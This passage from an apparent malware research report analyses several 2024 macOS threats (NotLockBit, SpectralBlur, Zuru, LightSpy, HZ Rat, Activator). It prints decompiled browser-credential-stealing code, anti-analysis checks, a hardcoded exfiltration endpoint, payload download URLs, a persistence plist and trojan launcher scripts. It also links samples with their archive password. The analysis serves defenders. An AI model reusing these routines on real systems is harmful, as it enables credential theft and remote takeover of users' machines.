24- (BOOL)verifyPassword:(NSString *)username password:(NSString *)password {
25 NSString *command = [NSString stringWithFormat:@"dscl /Local/Default -authonly %@ %@", username, password];
26 NSString *result = [Tools exec:command];
27 return result.length == 0;
28}
Note that password verification is performed via the command: dscl /Local/Default -authonly
.
Here’s another snippet of code (from Browsers.m
), that grabs data from browsers:
1- (void)collectDataAndSave:(NSString *)browserName pathToProfile:(NSString *)pathToProfile pathToSave:(NSString *)pathToSave {
2 NSString *autofillsFileName = @"Web Data";
3 NSString *historyFileName = @"History";
4 NSString *cookiesFileName = @"Cookies";
5 NSString *loginsPasswords = @"Login Data";
6 ...
7
8 NSString *autofillsSourcePath =
9 [pathToProfile stringByAppendingPathComponent:autofillsFileName];
10 NSString *autofillsDestinationPath =
11 [pathToSave stringByAppendingPathComponent:@"Autofills/"];
12
13 NSString *historySourcePath =
14 [pathToProfile stringByAppendingPathComponent:historyFileName];
15 NSString *historyDestinationPath =
16 [pathToSave stringByAppendingPathComponent:@"History/"];
17
18 NSString *cookiesSourcePath =
19 [pathToProfile stringByAppendingPathComponent:cookiesFileName];
20 NSString *cookiesDestinationPath =
21 [pathToSave stringByAppendingPathComponent:@"Cookies/"];
22
23 NSString *loginsSourcePath =
24 [pathToProfile stringByAppendingPathComponent:loginsPasswords];
25 NSString *loginsDestinationPath =
26 [pathToSave stringByAppendingPathComponent:@"Passwords/"];
27
28 [Tools copyFileToDirectory:autofillsSourcePath
29 destinationDirectory:autofillsDestinationPath];
30
31 [Tools copyFileToDirectory:historySourcePath
32 destinationDirectory:historyDestinationPath];
33
34 [Tools copyFileToDirectory:cookiesSourcePath
35 destinationDirectory:cookiesDestinationPath];
36
37 [Tools copyFileToDirectory:loginsSourcePath
38 destinationDirectory:loginsDestinationPath];
39}
Worth noting, the malware does implement some basic anti-analysis logic, found in a source code file named AntiVM.m
. Specifically it checks:
If its running within a VM (by looking for “Virtual”) in the output of system_profiler SPHardwareDataType | grep 'Model Identifier'
If its being debugged (by checking the processes P_TRACED
flag)
Moreover, it won’t run if it detects that the Russian language is installed.
1@implementation AntiVM
2
3+ (BOOL)isRussianLanguageInstalled {
4 CFArrayRef preferredLanguages = CFLocaleCopyPreferredLanguages();
5 CFIndex count = CFArrayGetCount(preferredLanguages);
6
7 for (CFIndex i = 0; i < count; ++i) {
8 CFStringRef language = (CFStringRef)CFArrayGetValueAtIndex(preferredLanguages, i);
9 const char *cLanguage = CFStringGetCStringPtr(language, kCFStringEncodingUTF8);
10 if (cLanguage && [[NSString stringWithUTF8String:cLanguage] containsString:@"ru"]) {
11 CFRelease(preferredLanguages);
12 return YES;
13 }
14 }
15 CFRelease(preferredLanguages);
16 return NO;
17}
The data the malware collects is then zipped up and exfiltrated to the hardcoded IP address 45.1d42.1d22.92:
#define REMOTE_IP @"http://45.1d42.1d22.92/send/"
While macOS has never faced any widespread ransomware threats. Still, each year we see several new ransomware specimens. Luckily for Mac users, most are not quite ready for “prime time” (for example taking into account TCC, nor was notarized) and thus their impact was limited. Still the fact that malware authors have their sights on macOS, should give us all pause for concern. Additionally, it is imperative to ensure that we are sufficiently prepared for future ransomware attacks, which are likely to be more refined and thus consequently pose a higher level of risk.
NotLockBit
Written in Go, NotLockBit is a ransomware specimen targeting macOS. Besides encrypting users files, it also implements basic stealer functionality and exfiltrates collected data to AWS.
Download: NotLockBit
(password: infect3d
)
NotLockBit was originally discovered and analyzed by researchers at TrendMicro:
Writeups:
“Fake LockBit, Real Damage: Ransomware Samples Abuse Amazon S3 to Steal Data” -TrendMicro
“macOS NotLockBit | Evolving Ransomware Samples Suggest a Threat Actor Sharpening Its Tools” -SentinelOne
Infection Vector: Unknown
At this time we do not know how (if at all) NotLockBit
is transmitted to its victims.
The SentinelOne researcher Phil Stokes who also analyzed the malware noted:
"Trend Micro did not describe how or where they discovered the Mach-O sample they reported, and at present there is no known distribution method for NotLockBit. " -Phil Stokes
Persistence: None
Generally speaking, there is no need for Ransomware to persist, and NotLockBit
is no exception.
Capabilities: Ransomware (+Stealer)
In their report, the TrendMicro researchers included the following diagram, that provides a illustrative overview of NotLockBit
’s actions:
As several of the NotLockBit
samples are not obfuscated, analyzing them is fairly straightforward:
_main.main
_main.extractAndSetWp
_main.initialSetup
_main.encryptMasterKey
_main.parsePublicKey
_main.writeKeyToFile
_main.getSystemInfo
_main.EncryptAndUploadFiles
_main.processFile
_main.shouldEncryptFile
_main.encryptFile
_main.init
For example, we find a method named parsePublicKey
that as its name suggests, takes the ransomware’s public key:
As noted in the TrendMicro report, we also find a hard-coded list of file extensions that the randsomware will encrypt:
The file encryption logic can be found in the aptly-named encryptFile
method.
Phil Stokes further notes that once the ransomware is done encrypting the users files, a README.txt
is created in each director, and the user’s desktop background will be changed to the following:
Besides encrypting users’ files and demanding a ransom, the malware will also exfiltrated data:
"...the malware attempts to exfiltrate the user's data to a remote server. The threat actor abuses AWS S3 cloud storage for this purpose using credentials hardcoded into the binary. The malware creates new repositories ('buckets') on the attackerโs Amazon S3 instance." -SentinelOne
The malware’s name derives from the fact that although it attempts to masquerade as a variant of the infamous LockBit ransomware, as (as noted by Phil), since the alleged LockBit authors have been arrested, “whoever is responsible for developing this malware is, with high probability, not LockBit.”
The majority of new malware targeting macOS in 2024 cannot be neatly categorized as solely stealers or ransomware. Rather, such malware gives remote attacker (sometimes persistent) access to an infect machine, allowing them to, well do pretty much whatever they like.
Sometimes this malware is designed by nation state adversaries (‘APTs’) as part of sophisticated cyber-espionage campaigns. Other times, the malware is more prosaic, designed by cyber-criminals whose sole interest is indiscriminate financially gain.
SpectralBlur
SpectralBlur was the first new macOS malware of 2024. Attributed to the DPRK, the malware is a fairly standard (albeit non-persistent) backdoor that supports basic capabilities such as download, upload, and execute.
Download: SpectralBlur
(password: infect3d
)
Not three days into 2024 Greg Lesnewich tweeted the following:
#100DaysofYARA day 03 - talking SpectralBlur, a MacOS (and other OS ๐คซ) backdoor linked to TA444/Bluenoroff, that I suspect is a cousin of the KandyKorn family our pals at Elastic found! https://t.co/P2TGw98UR6 pic.twitter.com/Y8U3hsjNiF
— Greg Lesnewich (@greglesnewich) January 3, 2024
In both his twitter (err, X) thread and in a subsequent posting he provided a comprehensive background and triage of the malware dubbed SpectralBlur
. In terms of its capabilities he noted:
SpectralBlur is a moderately capable backdoor, that can upload/download files, run a shell, update its configuration, delete files, hibernate or sleep, based on commands issued from the C2. -Greg
He also pointed out similarities to/overlaps with the DPRK malware known as KandyKorn
(that we covered in our “Mac Malware of 2024” report), while also pointing out there was differences, leading him to conclude:
We can see some similarities ... to the KandyKorn. But these feel like families developed by different folks with the same sort of requirements. -Greg
Writeups:
“100DaysofYARA - SpectralBlur” -Greg Lesnewich
“Analyzing DPRK’s SpectralBlur” -Objective-See
Infection Vector: Unknown
It is not known how SpectralBlur
is deployed to macOS users. What is known is that the SpectralBlur sample was initially submitted to VirusTotal on 2023-08-16
from Colombia (CO). Interestingly in VirusTotal’s telemetric data, we can also see that at least one of Objective-See’s tools (which, integrate with VirusTotal, for example to allow users to submit unrecognized files) encountered the malware in the wild too …how cool!
Persistence: None
Although backdoors usually persist, SpectralBlur
does not contain any code to persistent itself. One possibility is another component, maybe the one that is used to distribute the malware in the first place, also persists this backdoor.
Capabilities: Backdoor
Starting with nm
we can extract symbols which will include the malware’s function names, as well as APIs that the malware calls into (“imports”). Let’s start with just function names, which will be found the __TEXT
segment/section: __text
. We can use nm
’s -s
to limit its output to just a specified segment/section:
% nm -s __TEXT __text SpectralBlur/.macshare 0000000100001540 T _hangout 00000001000034f0 T _init 0000000100001570 T _init_fcontext 0000000100001870 T _load_config 0000000100003650 T _main 0000000100002a10 T _mainprocess 0000000100003370 T _mainthread 00000001000031c0 T _openchannel 00000001000029a0 T _proc_die 0000000100001b10 T _proc_dir 0000000100002420 T _proc_download 0000000100002290 T _proc_download_content 00000001000027e0 T _proc_getcfg 00000001000028c0 T _proc_hibernate 00000001000019f0 T _proc_none 00000001000029d0 T _proc_restart 00000001000025a0 T _proc_rmfile 0000000100002860 T _proc_setcfg 0000000100001a90 T _proc_shell 0000000100002930 T _proc_sleep 0000000100001a20 T _proc_stop 00000001000026b0 T _proc_testconn 0000000100002160 T _proc_upload 0000000100002040 T _proc_upload_content 00000001000015f0 T _read_packet 0000000100001930 T _save_config 0000000100001500 T _sigchild 00000001000011f0 T _socket_close 0000000100000d10 T _socket_connect 0000000100001140 T _socket_recv 00000001000010c0 T _socket_send 0000000100000be0 T _wait_read 0000000100001730 T _write_packet 00000001000017e0 T _write_packet_value 0000000100001270 T _xcrypt
Looks like functions dealing with a config (e.g., load_config
), network communications (e.g., socket_recv
, socket_send
), and encryption (xcrypt
). But also then, standard backdoor capabilities implemented (as noted by Greg), in function prefixed with proc
.
And what about the APIs the malware imports to call into? Again we can use nm
, this time the -u
flag:
% nm -m SpectralBlur/.macshare _connect _dup2 _execve ... _fork _fread _fwrite ... _gethostbyname _getlogin _getpwuid _getsockopt _grantpt ... _ioctl _kill ... _pthread_create _rand _recv _send _socket _unlink _waitpid _write ...
From these imports we can surmise that the malware performs file I/O (fread
, fwrite
, unlink
), network I/O (socket
, recv
, send
), and spawning/managing processes (execve
, fork
, kill
).
We’ll see these APIs are invoked by the malware often in response to commands. For example, the malware’s proc_rmfile
function invokes the unlink
API to remove a file:
1int proc_rmfile(int arg0, int arg1) {
2 var_10 = arg1;
3 var_18 = var_10 + 0x10;
4 ...
5 unlink(var_18);
6 ...
At the start of the malware disassembly it calls into a function named init
. Here, it builds a path to its config, and then opens it. The path is built by appending .d
to the malware’s binary full path:
init(...){
_sprintf_chk(config, 0x0, 0x41a, "%s.d", malwaresPath);
...
loadConfig(...)
}
We can confirm this in a debugger, where at a call to fopen
(in the load_config
function) the malware will attempt to open the file macshare.d
, in the directory where the malware is currently running (e.g. /Users/user/Downloads/
).
% lldb /Users/user/Downloads/macshare (lldb) * thread #1, queue = 'com.apple.main-thread' macshare`load_config: -> 0x100001890 <+32>: callq 0x100003d8c ; symbol stub for: fopen Target 0: (macshare) stopped. (lldb) x/s $rdi 0x100008820: "/Users/user/Downloads/macshare.d"
We can also see this in a File Monitor:
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter macshare { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Downloads/macshare.d", "process" : { "pid" : 6818, "name" : "macshare", "path" : "/Users/user/Downloads/macshare" } } }
By looking at its cross-references (xrefs), we can see the xcrypt
function is invoked to encrypt/decrypt the malware’s config and network traffic:
…the xcrypt
function according to ChatGPT appears to be a custom stream cipher. While static analysis shows that the key may be stored at the start of this config (address 0x100008c3a
), and set to random 64bit value:
*qword_100008c3a = sign_extend_64(rand()) + time(0x0) + sign_extend_64(rand() * rand());
Back to the config file, unfortunately, I (currently) don’t have access an example config. Thus some of our continued analysis is based solely on static analysis.
Once the init
function returns (which loaded the config), that malware performs a myriad of actions that appear to complicate dynamic analysis and perhaps detection. This including fork
ing itself, but also setting up a pseduo-terminal via posix_openpt
(as noted by Phil Stokes):
…this is followed by more forks, execs, and more. Again, if I had to guess, this simply to complicate analysis (and/or perhaps, making it a detached/“isolated” process complicated detections)? We’ll also see that the psuedo-terminal is used to execute shell commands from the attacker’s remote C&C server.
Regardless we can skip over this all, and simply continue execution (or static analysis) where a new thread (named _mainthread
) is spawned. After invoking functions such as openchannel
and socket_connect
to likely connect to its C&C server (whose address likely would be found in the malware’s config: macshare.d
), it invokes a function named mainprocess
.
The mainprocess
function (eventually) invokes the read_packet
function which appears to return the index of a command. The code in mainprocess
function then iterates over an array named _procs
in order to find the handler for the specified command (that I’ve named commandHandler
in the below disassembly). The command handler is then directly invoked:
1int mainprocess(int arg0, int arg1) {
2
3 var_558 = read_packet(...);
4 if (var_558 != 0x0) goto loc_100002dfc;
5
6loc_100002dfc:
7 var_560 = *(var_558 + 0x8);
8 commandHandler = 0x0;
9 addrOfProcs = _procs;
10 do {
11 var_5C1 = 0x0;
12 if (*addrOfProcs != 0x0) {
13 var_5C1 = (var_568 != 0x0 ? 0x1 : 0x0) ^ 0xff;
14 }
15 if ((var_5C1 & 0x1) == 0x0) {
16 break;
17 }
18 if (*addrOfProcs == var_560) {
19 commandHandler = *(addrOfProcs + 0x4);
20 }
21 addrOfProcs = addrOfProcs + 0xc;
22 } while (true);
23
24
25 var_538 = (commandHandler)(var_530, var_558);
26
27}
After creating a custom structure (procStruct
) for this array, we can see each command number and its handler:
procs:
0x0000000100008000 struct procStruct {
0x1,
_proc_none
}
0x000000010000800c struct procStruct {
0x2,
_proc_shell
}
0x0000000100008018 struct procStruct {
0x3,
_proc_dir
}
0x0000000100008024 struct procStruct {
0x4,
_proc_upload
}
0x0000000100008030 struct procStruct {
0x5,
_proc_upload_content
}
0x000000010000803c struct procStruct {
0x6,
_proc_download
}
0x0000000100008048 struct procStruct {
0x7,
_proc_rmfile
}
0x0000000100008054 struct procStruct {
0x8,
_proc_testconn
}
0x0000000100008060 struct procStruct {
0x9,
_proc_getcfg
}
0x000000010000806c struct procStruct {
0xa,
_proc_setcfg
}
0x0000000100008078 struct procStruct {
0xb,
_proc_hibernate
}
0x0000000100008084 struct procStruct {
0xc,
_proc_sleep
}
0x0000000100008090 struct procStruct {
0xd,
_proc_die
}
0x000000010000809c struct procStruct {
0xe,
_proc_stop
}
0x00000001000080a8 struct procStruct {
0xf,
_proc_restart
}
Recall we saw the names of each command handler (_proc_*
) in the output of nm
. And, though we can guess the likely capability of eahc command from its name, let’s look a few to confirm.
The proc_rmfile
will remove a file by invoking the unlink
API. However, we can also see that it first opens the file (fopen
) and overwrites its contents with zero:
1int proc_rmfile(int arg0, int arg1) {
2 var_4 = arg0;
3 var_10 = arg1;
4 var_18 = var_10 + 0x10;
5 file = fopen(var_18, "rb+");
6 if (file != 0x0) {
7 fseek(file, 0x0, 0x2);
8 var_28 = ftell(file);
9 fseek(file, 0x0, 0x0);
10 var_30 = 0x5000;
11 if (var_28 < var_30) {
12 var_30 = var_28;
13 }
14 var_38 = malloc(var_30);
15 _memset_chk(var_38, 0x0, var_30, 0xffffffffffffffff);
16 fwrite(var_38, 0x1, var_30, file);
17 free(var_38);
18 fclose(file);
19 }
20 rdx = unlink(var_18);
21 rax = 0x0;
22 if (rdx == 0x0) {
23 rax = 0x1;
24 }
25 return _write_packet_value(var_4, *var_10, rax);
26}
…each command will also report a result by invoking the malware write_packet_value
API.
The proc_restart
will terminate the child process:
1int main(...)
2
3 call fork
4 mov dword [childPID], eax
5
6int proc_restart(int arg0, int arg1)
7
8 kill(*childPID, 0x9);
9 return write_packet_value(arg0, *arg1, 0x0);
Finally, let’s look at the proc_shell
, which executed a command by write
‘ing to the pseudo-terminal that was opened (via posix_openpt
) previously:
1int main(...)
2
3 call posix_openpt
4 mov dword [pt], eax
5
6int proc_shell(...) {
7 var_8 = arg0;
8 var_10 = arg1;
9 if (write(*pt, var_10 + 0x10, strlen(var_10 + 0x10)) <= 0x0) {
10 var_4 = _write_packet_value(var_8, *var_10, 0x0);
11 }
The other commands execute actions consistent with their respective names.
Zuru(2?)
Zuru is a malware sample from 2021. In 2024 we saw a malware sample that with both many similarities, but also many differences to Zuru. One likely explanation is that the sample discussed here is a new version of Zuru. And though normally this “Malware of the <Insert Year>” doesn’t include new versions of older malware, we’ve including this as it may also be new malware specimen all together.
Download: Zuru
(password: infect3d
)
X user, malwrhunterteam originally tweeted about pirated macOS application that appeared to contain the (Zuru 2?) malware:
Just come across this old (from past July), but likely interesting "ultraedit.dmg": 9eb7bda5ffbb1a7549b1e481b1a6ed6efe2e28d0463370c87630fed74eee6228
— MalwareHunterTeam (@malwrhunterteam) January 13, 2024
Inside "libConfigurer64.dylib": ce40829673687b48d68defa3176c8ab59a2a50ee9c658fe46a5de7692fbc112d
๐ค
(1/5) pic.twitter.com/bZortngn9c
Jamf, also initially discovered many of the samples of this malware.
Writeups:
Infection Vector: Pirated Applications
To spread the malware, the malware authors would infected popular commercial applications, that were then hosted on pirate-themed website(s):
"We discovered that many were being hosted on macyy[.]cn, a Chinese website that provides links to many pirated applications." -Jamf
Examples of pirated applications included Ultra Edit, Navicat, SecureCRT, and more.
If the user downloaded and ran the pirated application, they’d be infected:
Persistence: LaunchAgent
There are several components of this malware, with at least one (.fseventsd
) that persists.
When one of the pirated applications that is infected with the malware is run, it downloads several files, including one download.ultraedit.info/bd.log
that is saved to /Users/Shared/.fseventsd
.
The .fseventsd
binary (SHA-1: C265765A15A59191240B253DB33554622393EA59
) was originally undetected by the AV engines on VT:
From extracting its embedded strings, we can see that it appears to be yet another downloader, albeit a persistent one:
% strings .fseventsd /tmp/.fseventsds GET %s HTTP/1.1 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer/DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.fsevents</string> <key>ProgramArguments</key> <array> <string>/Users/Shared/.fseventsd</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> http://bd.ultraedit.vip/fs.log /Library/LaunchAgents /com.apple.fsevents.plist
A combination of triaging the disassembly and continued dynamic analysis appeared to confirm the capabilities revealed by the embedded strings. First, via a file monitor, we can see that the /Users/Shared/.fseventsd
binary will persist itself as launch agent:
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter .fseventsd { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.fsevents.plist", "process" : { "pid" : 1716, "name" : ".fseventsd", "path" : "/Users/Shared/.fseventsd" } } }
Once it has persisted, we can dump the contents of this com.apple.fsevents.plist
file:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer/DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.fsevents</string>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/.fseventsd</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
As the RunAtLoad
key is set to true, each time the user logs in the specified binary, /Users/Shared/.fseventsd
will be automatically (re)started.
Capabilities: Backdoor
The core logic of the malware can be found in dynamic library, libConfigurer64.dylib
. As it has been added as a dependency to the pirated applications, this means it will be automatically loaded whenever the user launches the app. But how does the code inside the library get executed, as loading a library is a separate step from executing code within it.
Well, if we look at its load commands (via otool -l
) we can see it contains __mod_init_func
section that starts at offset 0xd030
:
% otool -l libConfigurer64.dylib ... Load command 1 cmd LC_SEGMENT_64 cmdsize 312 segname __DATA_CONST vmaddr 0x000000000000d000 vmsize 0x0000000000001000 ... Section sectname __mod_init_func segname __DATA_CONST addr 0x000000000000d030 size 0x0000000000000008
The __mod_init_func
section will contain constructors that be automatically executed whenever the library is loaded (which in this case, due to the dependency, will be anytime the user opens this pirated instance of UltraEdit app).
Before we go 0xd030
and explore the code lets extract embedded strings in libConfigurer64.dylib
, as these can give us a good idea of the library’s capabilities and also guide continued analysis:
% strings - libConfigurer64.dylib /Users/Shared/.fseventsd /tmp/.test %*[^//]//%[^/]%s GET %s HTTP/1.1 HOST: %s http://download.ultraedit.info/bd.log http://download.ultraedit.info/ud01.log ...
Recall that the detections on VT flagged this as a (generic) downloader. Based on these strings, this would appear to be correct.
Via nm
we can dump the APIs the library imports (that it likely invokes). Again this can give us insight into its likely capabilities:
% nm - libConfigurer64.dylib ... external _chmod (from libSystem) external _connect (from libSystem) external _execve (from libSystem) external _gethostbyname (from libSystem) external _recv (from libSystem) external _system (from libSystem) external _write (from libSystem)
Again, APIs one would expect from a program that implements download and execute logic.
Let’s now load up the library in disassembler and hop over to offset 0xd030
, the start of the __mod_init_func
segment:
0x000000000000d030 dq __Z10initializev
0x000000000000d038 dq 0x0000000000000000
It contains a single constructor named initialize
(though as the library was written in C++, its been mangled as __Z10initializev
).
The decompilation of the initialize
function is fairly simple. Its just calls into two unnamed functions:
1int initialize() {
2
3 var_20 = *qword_value_52426;
4 var_40 = *qword_value_52448;
5
6 sub_3c20(0x2, &var_20, &var_40);
7
8 rax = sub_2980();
9
10 return rax;
11}
These two functions, sub_3c20
and sub_2980
are rather massive and (especially considering today is a holiday in the US), not worth fully reversing. However, a quick triage reveals they appear to simply download then execute two binaries from download.ultraedit.info
.
Let’s switch to dynamic analysis and just run the pirated UltraEdit application, while monitoring its network, file, and process activity, as the server, download.ultraedit.info
, is still is active and serving up files!
This analysis reveals that the library will indeed download two files from download.ultraedit.info/
. The first is remotely named ud01.log
while the second bd.log
. From the network captures (for example here, for the file ud01.log
), we can see the downloaded files appear to be partially obfuscated Mach-O binaries.
Via a file monitor, we can see the ud01.log
file is saved as /tmp/.test
:
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UltraEdit { "event": "ES_EVENT_TYPE_NOTIFY_CREATE", "file": { "destination": "/private/tmp/.test", "process": { "pid": 1026, "name": "UltraEdit", "path": "/Volumes/UltraEdit 22.0.0.16/UltraEdit.app/Contents/MacOS/UltraEdit", ... } } }
…while the file (remotely named bd.log
) will be saved to /Users/Shared/.fseventsd
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter UltraEdit { "event": "ES_EVENT_TYPE_NOTIFY_CREATE", "file": { "destination": "/Users/Shared/.fseventsd", "process": { "pid": 1026, "name": "UltraEdit", "path": "/Volumes/UltraEdit 22.0.0.16/UltraEdit.app/Contents/MacOS/UltraEdit", ... } } }
Though we can (and will) just let the library decode the downloaded files, we can also poke around the disassembly to find a function that seems to be involved in this decoding (named: ConstInt_decoder
):
1int ConstInt_decoder(int arg0) {
2 rax = (arg0 ^ 0x78abda5f) - 0x57419f8e;
3 return rax;
4}
This decoder function is invoked in various places with hardcoded “keys”:
Once the files have been downloaded (and decoded), the library contains code to execute both. Here we see it spawning .test
:
# ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/private/tmp/.test", "name" : ".test", "pid" : 1334, "arguments" : [ "/usr/local/bin/ssh", "-n" ], } ... }
…interestingly it executes .test
with the arguments /usr/local/bin/ssh
and -n
.
The .test
binary (SHA-1: 5365597ECC3FC59F09D500C91C06937EB3952A1D
) appears to be known malware:
Specifically it seems to be a macOS built of Khepri
, which according to a Github repo (https://github.com/geemion/Khepri) is an “Open-Source, Cross-platform agent and Post-exploiton[sic] tool written in Golang and C++”.
…as its both known, and open-source we won’t spend anymore time analyzing it. Suffice to say though, it would provide a remote attacker essentially complete control over an infected system.
The second binary that is downloaded is .fseventsd
, as we noted earlier, is persistently installed as a launch agent.
The .fseventsd
binary attempts to download another binary from http://bd.ultraedit.vip/fs.log
saving it to /tmp/.fseventsds
. Unfortunately this next binary, fs.log
is not available as the bd.ultraedit.vip
server is currently offline:
% curl http://bd.ultraedit.vip/fs.log curl: (6) Could not resolve host: bd.ultraedit.vip
…so what it does is (still) a mystery.
LightSpy
In 2020, researchers made an intriguing discovery. A “full remote iOS exploit chain [that deployed] a feature-rich implant”. But we had to wait till 2024 until a macOS variant of the implant was discovered. Attributed to China, this sophisticated plugin-based implant is impressively feature complete.
Download: LightSpy
(password: infect3d
)
Researchers at BlackBerry (e.g. @dimitribest) originally uncovered and analyzed the macOS variant of LightSpy:
Widely seen in 2020, #iOS implant #LightSpy has resurfaced, posing a severe security risk to targets.
— BlackBerry (@BlackBerry) April 12, 2024
Capable of exfiltrating browsing history, #GPS data, #SMS messages & more, here's what you need to know about the latest iteration of the spyware: https://t.co/RI3aV4QRVE pic.twitter.com/a5dwrNlpHl
Writeups:
“LightSpy Malware Variant Targeting macOS” -Huntress
“LightSpy Returns: Renewed Espionage Campaign Targets Southern Asia, Possibly India” -BlackBerry
Infection Vector: Watering Hole Attack(?)
Though we don’t conclusively know how the malware infects macOS users, the BlackBerry researchers note:
"Based on previous campaigns, initial infection likely occurs through compromised news websites carrying stories related to Hong Kong." -BlackBerry
Persistence: None(?)
Stealthy nation state implants that are deployed via exploit chains often do not persist. (As the attackers can simply re-infect the victim if their report an infected machine).
LightSpy appears to conform to this, as none of the researchers who analyzed the malware made any mention of persistence.
Capabilities: Fully-featured Implant
Sophisticated malware often consists of various components, and LightSpy is no exception. Its first component is a simply downloader:
"The first stage of this malware is a dropper which downloads and runs the core implant dylib." -Huntress
It performs a few actions (as noted by the Huntress researchers, that include:
Checking to make sure the malware isn’t running (via the pid file: /Users/Shared/irc.pid
).
Requests a remote file macmanifest.json
the contains details about the implants plugins.
Downloads and decrypts the core implant (loader) and its plugins
A function named XorDecodeFile
is invoked to decrypt both the loader and plugins:
The second and arguably most important component of the LightSpy malware is the core implant and its plugins. Numbering almost a dozen, these plugins perform a plethora of actions that not only give the attackers unfettered access to the victim’s machine, but also collects a myriad of data. The plugins’ file names/classes align with their capabilities. The following list is taken from the Huntress report:
The plugins are fairly easy to analyze as they do not appear to be obfuscated. Moreover the class/method names are aptly named, and many debugging strings are left in.
For example in the 'WifiList'
plugin we find a class named WifiList
with a method named wifiNearby
. It makes use CoreWan CWWiFiClient
class to retrieves a CWInterface
instance associated with the default WiFi interface. It then invokes the cachedScanResults
method to get a list of networks from the most recent WiFi scan.
As another example the 'BrowserHistory'
plugin contains class/method names such as -[BrowserHistory getSafariHistory:]
and -[BrowserHistory getChromeHistory:]
. Taking a peek at the disassembly of the getSafariHistory
method reveals it queries the /Library/Safari/History.db
database to extract and exfiltrate the user’s browser data.
Finally, looking at the 'CameraShot'
plugin, we can see it makes use of AVFoundation
methods such as captureStillImageAsynchronouslyFromConnection:completionHandler:
and jpegStillImageNSDataRepresentation:
to capture an image off the victim’s webcam:
HZ Rat
Originally targeting Windows, 2024 saw the discovery of an macOS version of HZ Rat. Though this malware is a fairly simple backdoor (largely focused on data collection of its victims), as it exposes the ability to execute arbitrary shell commands, it affords remote attackers complete control over an infected macOS system.
Download: HZ Rat
(password: infect3d
)
The macOS version of HZ Rat was uncovered and subsequently analyzed by Kaspersky researchers:
HZ Rat backdoor for macOS attacks users of Chinaโs DingTalk and WeChat ๐ https://t.co/fj50AsBPcR pic.twitter.com/Bfe0n4mxrf
— Eugene Kaspersky (@e_kaspersky) August 28, 2024
Writeups:
Infection Vector: Trojanized Applications(?)
The Kaspersky researchers note:
"Despite not knowing the malware's original distribution point, we managed to find an installation package for one of the backdoor samples. The file is named OpenVPNConnect.pkg
The installer takes the form of a wrapper for the legitimate 'OpenVPN Connect' application, while the MacOS package directory contains two files in addition to the original client: exe and init" -Kaspersky
This indicates that attackers are likely targeting their victims via legitimate applications that have been trojanized with malware.
If we take a closer look at the malicious package, we can see it contains a post install script that will ‘install’ trojanized application:
#! /bin/zsh
pc_username=`ps aux | awk '{print $1}' | sort | uniq -c | sort -k1,1nr | head -1 | awk '{print $2}'`;sudo chown -R $pc_username /Applications/'OpenVPN Connect.app'; sudo chmod -R 777 /Applications/'OpenVPN Connect.app';
Persistence: None
The macOS version of HZ Rat, does not appear to persist in the tradition sense. However, each time the user (re)launches the trojanized application, that backdoor will be (re)executed. Specifically the application’s executable (named exe
), as noted by the Kaspersky researchers will launch the backdoor (a binary named init
), as well as as the OpenVPN Connect application so nothing seems amiss:
cat "OpenVPN Connect.app/Contents/MacOS/exe" #! /usr/bin/env /bin/bash current="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" chmod 777 "$current/init" nohup "$current/init" & open "$current/OpenVPN Connect.app"%
Capabilities: Backdoor
The macOS version of HZ Rat is a simple backdoor, and (again, as noted by the Kaspersky researchers supports four commands:
As the malware authors did not strip the backdoor binary, we can extract the symbols which help guide continued analysis:
% nm "OpenVPN Connect.app/Contents/MacOS/init" | c++filt 00000001000032a0 T trojan::trojan::write_file(...) 00000001000025c0 T trojan::trojan::interactive() 0000000100001df0 T trojan::trojan::send_cookie() 0000000100001fb0 T trojan::trojan::reply_result(...) 0000000100002390 T trojan::trojan::download_file(...) 0000000100002150 T trojan::trojan::execute_cmdline(...)
Starting in the interactive
method, we find the logic that handles commands from the command and control server. Let’s take a closer look at the execute_cmdline
method.
trojan::trojan::execute_cmdline(...) {
...
FILE* stream = popen(std::string::command(), "r");
...
fread(&var_fa418, 1, 0x400, stream);
...
}
Pretty easy to see it simply invokes the popen
API to execute a command, and then captures any command output via fread
. If we return to the caller (interactive
), we see that the output is then sent back to the malware’s command and control server via the reply_result
method.
The Kaspersky researchers we able to obtain the a list of commands from the attacker serve, which gives use invaluable insight into the attackers actions:
Activator
Activator is largely a downloader, it does install a persistent backdoor and a (crypto) stealer.
Download: Activator
(password: infect3d
)
Researchers from Kaspersky originally uncovered and analyzed the Activator malware:
Do you download cracked versions of popular apps for free?
— Kaspersky (@kaspersky) February 20, 2024
Here are the potential downsides that might come with it โ https://t.co/ZM3Hr0Cq2C#CyberSecurity #Cryptocurrency #macOS pic.twitter.com/jY639A1MGP
Subsequently, SentinelOne provided more insight into the attack, uncovering the true scale of the campaign.
Writeups:
“Cracked software beats gold: new macOS backdoor stealing cryptowallets” -Kaspersky
“Backdoor Activator Malware Running Rife Through Torrents of macOS Apps” -SentinelOne
Infection Vector: Pirated Software
Activator
is spread via pirated/cracked software hosted on a variety of pirating website
"Initial delivery method is via a torrent link which serves a disk image containing two applications: An apparently 'uncracked' and unusable version of the targeted software title, and an โActivatorโ app that patches the software to make it usable. Users are instructed to copy both items to the /Applications folder before launching the Activator program." -SentinelOne
If we open a disk image that has been infected with the malware, we can see it instructs the user how to side step Gatekeeper:
This step is necessary as the malware is not notarized (and thus, by default, will be blocked by macOS):
